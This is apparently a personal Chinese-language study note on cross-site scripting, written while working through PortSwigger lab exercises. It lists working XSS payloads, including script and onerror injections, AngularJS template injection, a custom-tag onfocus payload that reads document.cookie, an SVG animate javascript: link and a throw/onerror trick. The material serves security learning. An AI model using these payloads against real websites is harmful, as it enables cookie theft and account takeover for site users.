XSS Note

Before all

這邊主要是紀錄我打XSS時學到的一些神奇招數,基本的XSS還是要到這邊看喔:
Port Swigger
p.s.其實這些題目後面也都是從port swigger來ㄉ ><

Note:

Basic Payloads:

來複習一下(~ ̄▽ ̄)~
For HTML:

1
2
3
4
<script>alert(1)</script>
<img src='x' onerror='alert(1)'>
';-alert(1)-;'
blablalba

Javascript Injection:

1
2
');alert(1);\\
blablabla

DOM Base:
是觸發於document.write這類寫入函數的弱點。
開啟Burp Suite Browser的f12工具列,找到DOM Invader,搜尋自己的input然後構造payload,後面就跟前面一樣ㄌ

HTML Encode Trick

1
apos;-alert(1)-&apos;

Angular js

Angular js 會去抓取格式如{{}}的東西當作模板去做處理,就跟SSTI一樣。
Payloads
Angular js SSTI Payloads on Github

1
{{$on.constructor('alert(1)')()}}

Blocked html tags

第一個想法一定是暴力看看有那些tags和arguments可以用
Payload List on Port Swigger
如果都不行的話,構造一個不存在的tag然後利用id+onfocus以及url fragment(#)去觸發XSS:

1
<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';

Backtick Injection

透過使用如${}的方式去呼叫js,一樣是一種SSTI(?)

1
${alert(1)}

XML attributeName

利用XML attributeName去改掉父標籤屬性。

1
<svg><a><animate+attributeName=href+values=javascript:alert(1)+/><text+x=20+y=20>Click me</text></a>

js throw

lab

  • 利用資料解析方式的不同去觸發injection

throw+onerror可以觸發一系列行為。

1
5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

After all

應該還有些東西要補(